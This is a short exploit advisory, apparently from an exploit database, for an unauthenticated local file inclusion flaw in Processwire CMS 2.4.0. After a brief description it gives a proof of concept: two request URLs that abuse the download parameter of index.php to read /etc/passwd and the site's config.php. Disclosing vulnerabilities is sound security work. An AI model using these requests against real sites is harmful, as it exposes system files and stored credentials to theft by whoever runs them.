Processwire CMS 2.4.0 Local File Inclusion

`# Exploit Title: [Local File Inclusion Processwire CMS 2.4.0]  
# Vulnerability Type: Unauthenticated LFI  
# Date: [03.11.2020]  
# Exploit Author: [Y1LD1R1M]  
# Type: [WEBAPPS]  
# Platform: [PHP]  
# Vendor Homepage: [https://processwire.com/]  
# Version: [2.4.0]  
# Tested on: [Kali Linux]  
  
  
** Description **  
  
Local File Inclusion in Processwire CMS 2.4.0 allows to retrieve arbitrary files via the download parameter to index.php By providing a specially crafted path to the vulnerable parameter, a remote attacker can retrieve the contents of sensitive files on the local system.  
  
** Proof of Concept **  
  
http://URL/index.php?download=/etc/passwd  
  
http://URL/index.php?download=../config.php  
`